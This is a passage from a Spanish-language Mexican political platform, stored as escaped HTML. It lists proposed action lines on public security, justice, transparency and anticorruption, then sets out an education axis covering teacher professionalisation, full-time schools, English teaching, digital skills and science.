diversas acciones que realizamos para combatir homicidios, secuestros y extorsiones tienen un gran potencial de sinergia si las planteamos como un plan integral. Esta coordinaci\u00f3n debe incluir la modernizaci\u00f3n, depuraci\u00f3n y profesionalizaci\u00f3n de los sistemas de seguridad y justicia en los tres \u00f3rdenes de gobierno.<\/li>\n<li><strong>Transitar de la Estrategia Nacional de Seguridad P\u00fablica a una pol\u00edtica de Estado.<\/strong> Para lograr una seguridad p\u00fablica eficaz, es indispensable que haya corresponsabilidad entre poderes, \u00f3rdenes de gobierno y ciudadan\u00eda. Adem\u00e1s de coordinaci\u00f3n entre autoridades, es fundamental que se abran los espacios para que la sociedad civil y las comunidades aporten informaci\u00f3n sobre las problem\u00e1ticas espec\u00edficas que enfrentan y se vuelvan copart\u00edcipes de las decisiones y de las acciones, para mejorar la seguridad.<\/li>\n<li><strong>Focalizar la prevenci\u00f3n del delito.<\/strong> Sabemos que hay situaciones espec\u00edficas que contribuyen activamente a que los entornos familiares y comunitarios se deterioren. Por ello, es necesario focalizar de manera coordinada todos los esfuerzos del Estado Mexicano que contribuyen a fortalecer el tejido social y a prevenir la violencia en las regiones, ciudades y comunidades que presenten altos \u00edndices delictivos, fortaleciendo los programas de desarme, as\u00ed como instrumentando reformas legales y pol\u00edticas encaminadas a disminuir la presencia de armas exclusivas de fuerzas de seguridad en las calles.<\/li>\n<li><strong>Velar por la correcta instrumentaci\u00f3n de los juicios orales a nivel federal y estatal. <\/strong>La transformaci\u00f3n m\u00e1s importante que se ha realizado a la justicia en M\u00e9xico durante los \u00faltimos cien a\u00f1os requiere un gran esfuerzo para su implementaci\u00f3n exitosa. Es importante que todos los poderes, todos los \u00e1mbitos de gobierno y todos los sectores asuman un papel estrat\u00e9gico en este proceso que la ciudadan\u00eda ha demandado. En particular, tenemos que profundizar y acelerar la capacitaci\u00f3n adecuada de los actores que lo har\u00e1n posible, as\u00ed como separar plenamente las funciones jurisdiccionales de las administrativas en el poder judicial.<\/li>\n<li><strong>Impulsar la profesionalizaci\u00f3n del Ministerio P\u00fablico <\/strong>con el fin de dotarlo de una aut\u00e9ntica autonom\u00eda t\u00e9cnica en la investigaci\u00f3n y mayor capacidad para investigar y defender las causas p\u00fablicas y propiciar certeza respecto a su funci\u00f3n como pieza fundamental para la investigaci\u00f3n y persecuci\u00f3n de los delitos.<\/li>\n<li><strong>Involucrar a los sectores sociales en el proceso de procuraci\u00f3n e impartici\u00f3n de justicia.<\/strong> Para aumentar la confianza ciudadana hacia las instituciones de seguridad y justicia deberemos fortalecer los mecanismos que posibilitan la participaci\u00f3n social en la orientaci\u00f3n y aplicaci\u00f3n de las pol\u00edticas, la rendici\u00f3n de cuentas, la transparencia y evaluaci\u00f3n de resultados, internos y externos, tales como los consejos ciudadanos y la defensor\u00eda de oficio.<\/li>\n<li><strong>Consolidar al juicio de amparo como el mejor medio de defensa y control constitucional de los derechos humanos.<\/strong> El juicio de amparo es reconocido tanto en la Constituci\u00f3n, como en los tratados internacionales, como una herramienta fundamental para salvaguardar los derechos de los mexicanos. Para fortalecer este mecanismo y avanzar en la protecci\u00f3n de los derechos humanos, deberemos eliminar tecnicismos y formalismos excesivos que han dificultado su accesibilidad y, en consecuencia, su \u00e1mbito de protecci\u00f3n.<\/li>\n<li><strong>Fortalecer el Instituto Nacional de Transparencia, Acceso a la Informaci\u00f3n y Protecci\u00f3n de Datos Personales (INAI).<\/strong> Es importante que el INAI cuente con las facultades necesarias para promover la transparencia y la rendici\u00f3n de cuentas en la actuaci\u00f3n de del Poder Ejecutivo, tanto de la administraci\u00f3n p\u00fablica centralizada como de la paraestatal, as\u00ed como el Poder Legislativo y Poder Judicial, al igual que los \u00f3rganos aut\u00f3nomos del Estado.<\/li>\n<li><strong>Promover el fortalecimiento de las \u00e1reas de informaci\u00f3n del gobierno.<\/strong> Para mejorar la transparencia del Poder Ejecutivo, incluyendo sus \u00f3rganos desconcentrados y descentralizados, as\u00ed como las empresas productivas del Estado PEMEX y CFE, los poderes Legislativo y Judicial, y los \u00f3rganos aut\u00f3nomos constitucionales, deberemos capacitar mejor a los funcionarios responsables de las \u00e1reas correspondientes. Tienen que contar con un claro dominio en la clasificaci\u00f3n de la informaci\u00f3n que est\u00e1 en manos del Estado, as\u00ed como los medios legales para responder en tiempo y forma.<\/li>\n<li><strong>Construir un registro integral de proveedores.<\/strong> Para fortalecer la transparencia y la rendici\u00f3n de cuentas, es necesario crear un registro robusto y amplio de las empresas proveedoras de todos los \u00f3rdenes de gobierno, en el que se incluya informaci\u00f3n sobre su naturaleza corporativa, sus propietarios, accionistas y representantes legales, as\u00ed como de su situaci\u00f3n financiera, y sus antecedentes y evoluci\u00f3n.<\/li>\n<li><strong>Promover la implementaci\u00f3n efectiva de las pol\u00edticas del Sistema Nacional Anticorrupci\u00f3n.<\/strong> Hemos iniciado la construcci\u00f3n de un nuevo andamiaje institucional que ser\u00e1 clave para fortalecer el Estado de Derecho. Parte de su exitosa implementaci\u00f3n, depender\u00e1 de que demos transparencia, pero tambi\u00e9n mayor flexibilidad a los criterios para las adquisiciones, contrataciones y licitaciones del sector p\u00fablico. Debemos simplificar y precisar los distintos tipos de faltas, infracciones y delitos en que pueden incurrir los servidores p\u00fablicos ya sea cuando no cumplen con sus responsabilidades o cuando cometen actos de corrupci\u00f3n.<\/li>\n<li><strong>Simplificaci\u00f3n administrativa.<\/strong> La sobrecarga regulatoria representa un incentivo a la corrupci\u00f3n. Por ello, toda instituci\u00f3n p\u00fablica, en todos los \u00f3rdenes de gobierno, debe impulsar la racionalidad administrativa y avanzar en la simplificaci\u00f3n de sus tr\u00e1mites para el p\u00fablico en general y en particular aquellos vinculados con registros p\u00fablicos o la apertura de negocios o comercios. En este esfuerzo, hay que aprovechar las enormes oportunidades que nos brinda la tecnolog\u00eda para responder a las necesidades de la ciudadan\u00eda.<\/li>\n<li><strong>Redise\u00f1ar el Servicio Profesional de Carrera para mejorar la funci\u00f3n p\u00fablica.<\/strong> Es fundamental que avancemos en la profesionalizaci\u00f3n de nuestros funcionarios. En ese sentido, debemos reformar el Servicio Profesional de Carrera para otorgar mayor relevancia al conocimiento, la experiencia y los resultados en la funci\u00f3n p\u00fablica, considerando sus aportaciones a las decisiones p\u00fablicas y a la especializaci\u00f3n a favor del buen gobierno.<\/li>\n<li><strong>Legislar los alcances del gobierno de coalici\u00f3n<\/strong> que ya se contempla en la Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos, con el fin de mejorar la efectividad y eficacia del gobierno en el cumplimiento de sus objetivos, mediante el fortalecimiento de mayor\u00edas legislativas y acuerdos pol\u00edticos estables.<\/li>\n<\/ol>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tEje 3: Educaci\u00f3n de excelencia para construir una sociedad del conocimiento.\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La educaci\u00f3n es motor del desarrollo nacional y el igualador social por excelencia. Por lo tanto, reconocemos a la educaci\u00f3n como uno de los ejes articuladores de la pol\u00edtica social, lo que involucra la instrumentaci\u00f3n de pol\u00edticas p\u00fablicas de alto impacto social y en un proceso de transformaci\u00f3n constante.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Los pa\u00edses que han apostado por la educaci\u00f3n son aquellos que han logrado alcanzar el desarrollo anhelado. Hoy vivimos en un mundo complejo e interconectado, cada vez m\u00e1s desafiante, en donde la tecnolog\u00eda avanza a una velocidad in\u00e9dita y est\u00e1 transformando nuestra econom\u00eda y nuestra sociedad. Para enfrentar los retos de nuestra era y triunfar como naci\u00f3n en el siglo XXI necesitamos un M\u00e9xico volcado a la educaci\u00f3n de calidad con equidad, la ciencia, la innovaci\u00f3n y el desarrollo tecnol\u00f3gico. La educaci\u00f3n es, en suma, el arma m\u00e1s poderosa para cambiar a M\u00e9xico.\u00a0\u00a0\u00a0\u00a0<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La tarea educativa es una responsabilidad central del Estado mexicano. Con la promulgaci\u00f3n de la Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos de 1917, se elev\u00f3 por primera vez a rango constitucional el derecho de todo ciudadano mexicano de recibir educaci\u00f3n. El Art\u00edculo 3\u00ba constitucional contempla una serie de principios filos\u00f3ficos -laicidad, gratuidad y obligatoriedad- que convergen con el fin de garantizar el cumplimiento de esta obligaci\u00f3n del Estado en un esquema irrestricto de derechos humanos.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La ampliaci\u00f3n de la cobertura educativa fue una gran haza\u00f1a del M\u00e9xico del siglo XX. Gracias al esfuerzo conjunto de sociedad y gobierno, logramos construir, articular y sostener un sistema nacional de educaci\u00f3n p\u00fablica que llev\u00f3 escuelas y maestros hasta el \u00faltimo rinc\u00f3n del pa\u00eds. La fuerza de la educaci\u00f3n y su presencia en todo el territorio ha contribuido a la paz social y al desarrollo. El derecho constitucional a la educaci\u00f3n tambi\u00e9n ha evolucionado, reconfirmando su obligatoriedad, laicidad, gratuidad y confiri\u00e9ndole el car\u00e1cter humanista, nacional, solidario y democr\u00e1tico, hasta constituirse como un derecho humano progresivo.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Como resultado de este gran esfuerzo nacional, hoy tenemos en todo el pa\u00eds uno de los sistemas educativos m\u00e1s grandes del mundo, el quinto en cuanto a matr\u00edcula se refiere, con m\u00e1s de 36 millones de alumnas y alumnos, dos millones de docentes y 250 mil escuelas. La cobertura alcanza pr\u00e1cticamente 100% en primaria y secundaria, m\u00e1s de ochenta por ciento en preescolar y en la educaci\u00f3n media superior, y cerca de 40% en educaci\u00f3n superior.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Sin embargo, en el siglo XXI se hicieron evidentes dos nuevas prioridades. Por un lado, dejar en claro que el Estado es el responsable de conducir la pol\u00edtica educativa; por otro, reformar un modelo educativo para hacerlo compatible con las nuevas necesidades y exigencias de la sociedad, para hacer frente a los restos del mundo globalizado del siglo XXI. \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Reconocer en la Constituci\u00f3n el derecho a que la educaci\u00f3n sea de calidad nos brinda la posibilidad de generar las condiciones necesarias para mejorar el desarrollo humano y profesional de las y los mexicanos. Debemos lograr, por lo tanto, que la educaci\u00f3n sea con equidad e inclusiva, lo que permitir\u00e1 que todas las ni\u00f1as, ni\u00f1os y j\u00f3venes desarrollen los aprendizajes necesarios para ser exitosos y felices.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 El Estado Mexicano ejerce plenamente su responsabilidad de planear, conducir, coordinar, orientar y evaluar la pol\u00edtica educativa. Por primera vez en la historia del pa\u00eds conocemos el n\u00famero exacto de maestras, maestros y escuelas, los maestros construyen su carrera a partir de su preparaci\u00f3n, experiencia y su conocimiento y, como resultado de la colaboraci\u00f3n entre \u00e1mbitos de gobierno, est\u00e1n llegando a su fin d\u00e9cadas de malos manejos en la n\u00f3mina educativa.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 A partir de una visi\u00f3n de la educaci\u00f3n como formaci\u00f3n integral, se impuls\u00f3 un Modelo Educativo en el que se reconoce la necesidad de una educaci\u00f3n de calidad, con equidad e inclusiva, que respete la diversidad, genere mayor igualdad de oportunidades sociales entre los mexicanos y que contribuya a la justicia social. El planteamiento del nuevo Modelo Educativo representa una revoluci\u00f3n pedag\u00f3gica para que las ni\u00f1as, ni\u00f1os y j\u00f3venes adquieran las herramientas que requieren para ser exitosos y felices en el siglo XXI. Esto implica no solamente una s\u00f3lida formaci\u00f3n acad\u00e9mica que incluye el ingl\u00e9s y las habilidades digitales, sino tambi\u00e9n una formaci\u00f3n para tener una vida plena mediante del desarrollo de habilidades socioemocionales, educaci\u00f3n para la salud y educaci\u00f3n art\u00edstica.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Por tanto, es fundamental garantizar el \u00e9xito de este Modelo, lo cual implica cambios profundos en el Sistema Educativo de manera integral; es decir que no s\u00f3lo conlleva la implementaci\u00f3n de los nuevos planes y programas de estudio, sino tambi\u00e9n la generaci\u00f3n de las condiciones de infraestructura, estructuras de gobernanza, familiares, sociales, culturales y educativas en general, y esquemas de desarrollo profesional docente que sean pertinentes y articulados para poder hacer realidad la nueva pedagog\u00eda en todas las aulas del pa\u00eds. \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Es fundamental que la formaci\u00f3n y el desarrollo profesional docente tambi\u00e9n sean compatibles con las demandas que exige la sociedad del siglo XXI: educaci\u00f3n de calidad con equidad, pluralidad, democracia e inclusi\u00f3n. Este planteamiento exige que, tanto en lo individual como en lo colectivo, los maestros cuenten con los apoyos y est\u00edmulos necesarios para facilitar su quehacer como educadores y contribuir a su desarrollo personal, laboral y profesional.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Es vital reconocer la labor de las y los maestros que, d\u00eda con d\u00eda, con su esfuerzo, compromiso y vocaci\u00f3n, dan muestra del amor por M\u00e9xico y por sus estudiantes. El docente debe ocupar el sitio de la m\u00e1s alta significaci\u00f3n en la sociedad y en cada una de las comunidades en donde labora. Dar prioridad a la educaci\u00f3n implica contribuir a la revaloraci\u00f3n social de las maestras y los maestros, como agentes de cambio. Por lo tanto, es necesario brindar a cada maestra y cada maestro oportunidades de desarrollo profesional incluyentes y de calidad, que posibiliten la mejora de su pr\u00e1ctica pedag\u00f3gica y los logros con sus estudiantes, as\u00ed como promover la mejora permanente de sus condiciones de vida, con estricto apego a sus derechos laborales, econ\u00f3micos y profesionales.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Debemos seguir ampliado el n\u00famero de Escuelas de Tiempo Completo y mantener la inversi\u00f3n sin precedentes en infraestructura para mejorar las condiciones de los planteles que m\u00e1s lo necesitan; tales instituciones reportan beneficios que trasciende el \u00e1mbito estrictamente educativo: seguridad social y mejor\u00eda de la salud p\u00fablica, as\u00ed como facilitar las relaciones intrafamiliares.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Tambi\u00e9n tenemos que continuar en la ruta de mejorar la organizaci\u00f3n de las comunidades escolares, con mayor autonom\u00eda de gesti\u00f3n y plantillas completas de maestros y directores. Los docentes deben ser seleccionados y promovidos exclusivamente por su vocaci\u00f3n y logro profesional, a partir de una formaci\u00f3n inicial y continua de calidad con equidad.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Es vital proteger el derecho a la educaci\u00f3n p\u00fablica y, con base en los principios filos\u00f3ficos del art\u00edculo tercero constitucional, todos los ni\u00f1os y los j\u00f3venes -sin importar su g\u00e9nero, origen o condici\u00f3n- deben tener acceso a una educaci\u00f3n de calidad con equidad e inclusiva. Por eso, seguiremos trabajando para promover el respeto a la diversidad y romper as\u00ed los nudos de desigualdad en el sistema educativo, especialmente en la atenci\u00f3n a la primera infancia, el respeto a la diversidad de las personas hablantes de lenguas ind\u00edgenas, la inclusi\u00f3n de personas con discapacidad, la promoci\u00f3n de la igualdad de g\u00e9nero y el combate al rezago educativo.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 M\u00e9xico es un pa\u00eds de j\u00f3venes. La edad promedio es de 31 a\u00f1os. Lo anterior, exige una educaci\u00f3n media superior y superior pertinente, de calidad e incluyente que sea la base para que los j\u00f3venes tengan la oportunidad de alcanzar sus sue\u00f1os. Por ello, seguiremos estrechando la vinculaci\u00f3n de la educaci\u00f3n y el sector productivo mediante modelos como la formaci\u00f3n dual o los subsistemas de educaci\u00f3n tecnol\u00f3gica y polit\u00e9cnica. Asimismo, seguiremos impulsando las becas para reducir el abandono escolar, ampliaremos las oportunidades para realizar intercambios en el extranjero y fomentaremos el deporte como una herramienta de desarrollo para nuestros j\u00f3venes.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La educaci\u00f3n ya no se puede limitar a lo que se aprende en las aulas y tiene que empezar antes del preescolar, desde la primera infancia, con un desarrollo infantil temprano impulsado desde el Estado en coordinaci\u00f3n con las familias mexicanas. De la misma manera, la educaci\u00f3n tampoco debe terminar con la Universidad, sino que debe seguir a lo largo de la vida productiva con un sistema de formaci\u00f3n continua para el trabajo. S\u00f3lo as\u00ed lograremos construir una sociedad din\u00e1mica y creativa, en la que el m\u00e9rito y el esfuerzo sean los determinantes principales del logro de vida, y una democracia plena y solidaria, con una ciudadan\u00eda cr\u00edtica, responsable y participativa en las decisiones de su comunidad.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La educaci\u00f3n debe ir de la mano de un proyecto cient\u00edfico nacional, apoyado en la innovaci\u00f3n e investigaci\u00f3n tanto b\u00e1sica como aplicada. En ese sentido, necesitamos desarrollar un sistema nacional de investigaci\u00f3n y desarrollo tecnol\u00f3gico que nos permita convertirnos en una potencia generadora de conocimiento. Para ello, tenemos que favorecer no s\u00f3lo el uso, sino tambi\u00e9n la gesti\u00f3n del conocimiento, con el fin de estimular la creatividad cient\u00edfica y por ende el desarrollo de nuestro pa\u00eds. Al hacerlo, fortaleceremos la ciencia mexicana para generar m\u00e1s talento mexicano y recuperar el talento que se ha fugado, pero tambi\u00e9n atraer m\u00e1s talento del exterior.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La educaci\u00f3n debe llevar a nuestros hijos a apreciar las artes y todas sus manifestaciones desde peque\u00f1os. Desde la educaci\u00f3n, debemos reconocer el valor de nuestra naci\u00f3n y su car\u00e1cter pluri\u00e9tnico y pluricultural para preservar, potenciar y proyectar nuestra cultura en el mundo entero. A partir de la educaci\u00f3n, la ciencia, la cultura y el deporte, podremos reafirmar nuestra identidad como naci\u00f3n y contribuir de manera m\u00e1s decisiva al progreso de la humanidad.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Transformar la educaci\u00f3n es un proceso de largo plazo, pero tenemos una ruta clara y hemos sentado las bases para dar un nuevo rumbo al pa\u00eds a partir de una visi\u00f3n de las mexicanas y mexicanos que queremos formar. Estamos convencidos de que en la educaci\u00f3n reside la fuerza para impulsar el desarrollo y la prosperidad de M\u00e9xico en el siglo XXI.<\/p>\n<p><strong>L\u00edneas de acci\u00f3n<\/strong><\/p>\n<ol>\n<li><strong>Mantener a la educaci\u00f3n como prioridad central del gobierno.<\/strong> Seguiremos impulsando el modelo educativo, a fin de consolidar la educaci\u00f3n p\u00fablica como fuente de movilidad y justicia social y como principal motor del desarrollo la competitividad del pa\u00eds.<\/li>\n<li><strong>Garantizar el derecho a la educaci\u00f3n de calidad con equidad e inclusi\u00f3n para todas las ni\u00f1as, ni\u00f1os y j\u00f3venes, que responda a la diversidad de nuestros ciudadanos sin distingo alguno.<\/strong> Para lograrlo, es preciso apoyar decididamente, con intervenciones que atiendan sus necesidades espec\u00edficas y estableciendo cuotas de ejercicio presupuestal en los principales programas educativos, a grupos vulnerables como las personas hablantes de lenguas ind\u00edgenas, las personas con discapacidad, hijos de familias m\u00e1s pobres, especialmente durante la primera infancia, y personas con analfabetismo y rezago educativo.<\/li>\n<li><strong>Avanzar progresivamente hacia un modelo de educaci\u00f3n inclusiva que responda a la diversidad y a las necesidades de los alumnos.<\/strong> Alumnos con discapacidad o con capacidades sobresalientes deben tener la oportunidad de asistir a escuelas regulares y recibir una educaci\u00f3n de calidad que tome en cuenta sus necesidades, con materiales adecuados y docentes capacitados para darles la atenci\u00f3n que requieren.<\/li>\n<li><strong>Consolidar el papel de los docentes como profesionales de la educaci\u00f3n, enfocados en el aprendizaje de sus alumnas y alumnos con estricto respeto a la diversidad.<\/strong> Para lograr una educaci\u00f3n de calidad con equidad e inclusiva es fundamental asegurarnos de que los maestros fortalezcan su quehacer docente con un sistema de desarrollo profesional articulado, eficiente y pertinente, que parta de la formaci\u00f3n inicial y continua a lo largo de su carrera profesional. Nuestros docentes deben tener acceso a las herramientas pedag\u00f3gicas, did\u00e1cticas, emocionales e innovadoras que requieren para su crecimiento personal y profesional, as\u00ed como recibir el justo reconocimiento de la sociedad a la importante labor que desempe\u00f1an.<\/li>\n<li><strong>Consolidar el Servicio Profesional Docente con estricto apego a los derechos laborales y profesionales.<\/strong> El fortalecimiento de la profesionalizaci\u00f3n docente incluye la formaci\u00f3n inicial y, por ende, la mejora y transformaci\u00f3n de las Escuelas Normales, as\u00ed como una evaluaci\u00f3n formativa y contextualizada que d\u00e9 pauta a una formaci\u00f3n continua y al desarrollo profesional a partir del conocimiento, la experiencia y el esfuerzo. Tambi\u00e9n se impulsar\u00e1n estrategias innovadoras como la conformaci\u00f3n de trayectos formativos de los docentes.<\/li>\n<li><strong>Continuar ampliando el n\u00famero de Escuelas de Tiempo Completo.<\/strong> Hoy sabemos que en las escuelas de educaci\u00f3n b\u00e1sica con jornadas ampliadas los estudiantes aprenden m\u00e1s. Adem\u00e1s de reforzar sus conocimientos acad\u00e9micos, tienen m\u00e1s oportunidades para desarrollar actividades art\u00edsticas, culturales y deportivas, y se benefician de una alimentaci\u00f3n saludable. Las Escuelas de Tiempo Completo responden de manera significativa a nuestra diversidad como pa\u00eds y generan condiciones reales de equidad y justicia social.<\/li>\n<li><strong>Fortalecer la autonom\u00eda de gesti\u00f3n de las escuelas.<\/strong> Nadie conoce mejor las necesidades de cada escuela que su propia comunidad educativa, integrada por padres y madres de familia, estudiantes, maestras y maestros, as\u00ed como sus directivos. Por eso, debemos seguir impulsando un modelo de organizaci\u00f3n escolar que ponga a la escuela al centro y dote a las comunidades escolares de mayores m\u00e1rgenes para que tomen sus propias decisiones, tanto en los contenidos que se imparten como en la forma de distribuir el tiempo y los recursos, en favor del aprendizaje de las ni\u00f1as, ni\u00f1os y j\u00f3venes.<\/li>\n<li><strong>Establecer un mecanismo permanente de rehabilitaci\u00f3n, mejoramiento y mantenimiento de planteles educativos.<\/strong> Debemos continuar invirtiendo en el mejoramiento de la infraestructura escolar para lograr que todas las escuelas del pa\u00eds sean entornos de aprendizaje seguros, accesibles e inclusivos, e incidan en el aprendizaje de todos los estudiantes.<\/li>\n<li><strong>M\u00e1s escuelas de tiempo completo. <\/strong>Adem\u00e1s de que las escuelas de tiempo completo fortalecen la educaci\u00f3n integral dando opci\u00f3n a que se incorpore el aprendizaje de la cultura art\u00edstica y se realice la pr\u00e1ctica deportiva, tambi\u00e9n es un recurso de primer importancia para que, proporcionando una alimentaci\u00f3n adecuada, combatan problemas tan graves como la obesidad y la consecuente diabetes que tanto da\u00f1o causa y tan cara cuesta. Pero adem\u00e1s, dado que las jornadas laborales no corresponden a los horarios de las escuelas convencionales, una permanencia m\u00e1s prolongada en el \u00e1mbito escolar la ni\u00f1ez y la juventud temprana har\u00e1 que no queden expuestas a la delincuencia en horarios en los que generalmente quedan a la deriva hasta la llegada de la autoridad familiar al hogar.<\/li>\n<li><strong>Impulsar desde la educaci\u00f3n el conocimiento, la preservaci\u00f3n y el cuidado del medio ambiente.<\/strong> Convencidos de que el desarrollo debe ser sustentable y sostenible, adem\u00e1s de estar anclado en el conocimiento del potencial de cada regi\u00f3n, debemos impulsar un mayor conocimiento del medio ambiente en las escuelas, a trav\u00e9s de espacios como la autonom\u00eda curricular. La educaci\u00f3n es fundamental para fomentar conductas ambientalmente responsables en nuestros alumnos, as\u00ed como conciencia sobre la dotaci\u00f3n y potencial de los recursos de su comunidad.<\/li>\n<li><strong>Promover el estudio de las ciencias y las ingenier\u00edas en la ni\u00f1ez y la juventud.<\/strong> Para aprovechar las oportunidades que representa el cambio tecnol\u00f3gico para M\u00e9xico, debemos incentivar el desarrollo de nuestro capital humano desde temprana edad. Ello implica un esfuerzo particular para fomentar el gusto por las matem\u00e1ticas y la ciencia entre ni\u00f1as y j\u00f3venes, empleando diversas metodolog\u00edas que promuevan un desarrollo integral y acorde a una sociedad diversa e incluyente.<\/li>\n<li><strong>Universalizar la ense\u00f1anza del ingl\u00e9s.<\/strong> El ingl\u00e9s ya no debe ser un privilegio de un n\u00famero limitado de estudiantes, sino una herramienta para que todos los mexicanos puedan abrirse y conectarse con el mundo. Por eso, continuaremos con la Estrategia Nacional de Ingl\u00e9s para que, en 20 a\u00f1os, todos los ni\u00f1os y j\u00f3venes cuenten con maestras y maestros con una certificaci\u00f3n adecuada.<\/li>\n<li><strong>Impulsar el desarrollo de habilidades digitales.<\/strong> Las habilidades digitales son fundamentales para poder participar y competir en el mundo del siglo XXI. Por ello, debemos continuar con la incorporaci\u00f3n de la tecnolog\u00eda en la educaci\u00f3n a trav\u00e9s de esquemas diversos con metodolog\u00edas innovadoras y acordes al siglo XXI, que incluyan no s\u00f3lo el equipamiento adecuado y la conectividad necesaria de los planteles escolares, sino tambi\u00e9n la capacitaci\u00f3n docente y el planteamiento pedag\u00f3gico que permita cerrar la brecha digital y hacer as\u00ed efectivo el derecho a las comunicaciones.<\/li>\n<li><strong>Elevar la escolaridad y a\u00f1os de permanencia en todos los niveles del sistema educativo.<\/strong> Si bien hemos avanzado de manera importante en los niveles de acceso a la educaci\u00f3n media superior, debemos seguir ampliando los espacios para cumplir la obligaci\u00f3n constitucional de alcanzar la cobertura universal para el a\u00f1o 2021. Al mismo tiempo, tenemos que mejorar las oportunidades de acceso de los j\u00f3venes a la educaci\u00f3n superior.<\/li>\n<li><strong>Fomentar la vinculaci\u00f3n entre las instituciones educativas y el sector productivo. <\/strong>Tanto en la educaci\u00f3n media superior como en la superior, es fundamental estrechar el v\u00ednculo con el sector productivo. De manera espec\u00edfica, debemos impulsar esquemas como las universidades tecnol\u00f3gicas y polit\u00e9cnicas biling\u00fces que ofrecen una formaci\u00f3n de excelencia en espa\u00f1ol e ingl\u00e9s, y el Modelo Mexicano de Formaci\u00f3n Dual que permite a alumnos de bachillerato combinar su formaci\u00f3n acad\u00e9mica con un empleo productivo.<\/li>\n<li><strong>Mejorar la coordinaci\u00f3n entre \u00f3rdenes de gobierno.<\/strong> Las responsabilidades del Estado Mexicano en materia educativa se distribuyen entre los diferentes \u00f3rdenes de gobierno. Por ello, es clave preservar los mecanismos \u00e1giles de coordinaci\u00f3n entre \u00e1mbitos de gobierno que hemos construido para asegurar que la educaci\u00f3n tome en cuenta las particularidades regionales, abatir progresivamente las disparidades en el logro educativo e incorporar la lengua materna como factor de integraci\u00f3n en la ense\u00f1anza en las comunidades ind\u00edgenas.<\/li>\n<li><strong>Impulsar la decidida participaci\u00f3n social en la educaci\u00f3n.<\/strong> La educaci\u00f3n es tarea de todos. Por ello, debemos seguir trabajando de la mano \u2013gobiernos, maestros, padres de familia, sociedad en general y desde luego los propios alumnos- para consolidar el nuevo Modelo Educativo y una educaci\u00f3n de calidad como aspiraci\u00f3n principal de la sociedad. Para lograrlo, necesitamos fortalecer la participaci\u00f3n de los padres de familia en el proceso educativo de sus hijos, as\u00ed como facilitar su asistencia a reuniones escolares sin que afecte su jornada laboral y mediante programas para que asuman una mayor responsabilidad en el proceso formativo de sus hijos<\/li>\n<li><strong>Mejorar la coordinaci\u00f3n intersectorial para hacer de las escuelas verdaderos centros del desarrollo comunitario.<\/strong> Las escuelas juegan un papel fundamental en la vida de sus comunidades y debemos fortalecer la coordinaci\u00f3n intersecretarial para aprovechar esa realidad y ampliar la oferta de servicios sociales que se atienden en las escuelas, mediante esfuerzos como Salud en tu Escuela o Cultura en tu Escuela.<\/li>\n<li><strong>Promover una cultura de la paz.<\/strong> Es importante que, desde la infancia, los mexicanos fortalezcan los valores de la convivencia democr\u00e1tica, la tolerancia y el respeto a la diversidad y a la legalidad, como sost\u00e9n del desarrollo comunitario y la cohesi\u00f3n social. Por ello, es indispensable continuar con la plena implementaci\u00f3n del nuevo Modelo Educativo que incorpora todos estos elementos en su planteamiento pedag\u00f3gico. Adem\u00e1s, debemos trabajar con las autoridades educativas locales para garantizar la seguridad de los planteles, velar por los derechos de las ni\u00f1as y los ni\u00f1os y garantizar la protecci\u00f3n infantil ante cualquier forma de maltrato o de violencia, en particular el acoso escolar, la violencia de g\u00e9nero y la violencia intrafamiliar.<\/li>\n<li><strong>Fortalecer el Sistema Nacional de Ciencia, Tecnolog\u00eda e Innovaci\u00f3n.<\/strong> A partir de una aproximaci\u00f3n centrada en el desarrollo de vocaciones regionales, debemos adaptar el sistema para que premie las aportaciones de los investigadores a los procesos productivos. Tambi\u00e9n hay que estimular la inversi\u00f3n de los sectores p\u00fablico, privado y social en ciencia, tecnolog\u00eda e innovaci\u00f3n para superar el 1% del PIB. Asimismo conviene reducir su excesiva burocracia.<\/li>\n<li><strong>Ampliar las oportunidades de intercambio acad\u00e9mico y cient\u00edfico.<\/strong> Debemos brindar m\u00e1s oportunidades para que estudiantes, investigadoras e investigadores tengan contacto con otros pa\u00edses como fuente de innovaci\u00f3n, crecimiento personal y descubrimiento de otras culturas, as\u00ed como fuente de solidaridad internacional y promoci\u00f3n del valor de M\u00e9xico ante el mundo.<\/li>\n<li><strong>Impulsar el reconocimiento, disfrute y preservaci\u00f3n del patrimonio cultural.<\/strong> M\u00e9xico es una potencia cultural indiscutible a nivel mundial y nos sentimos muy orgullosos de nuestra historia y de nuestro patrimonio que nos dan identidad como naci\u00f3n. En ese sentido, debemos promover que todos los mexicanos tengan acceso a nuestra riqueza y diversidad cultural como fuente de orgullo nacional, desarrollo productivo, 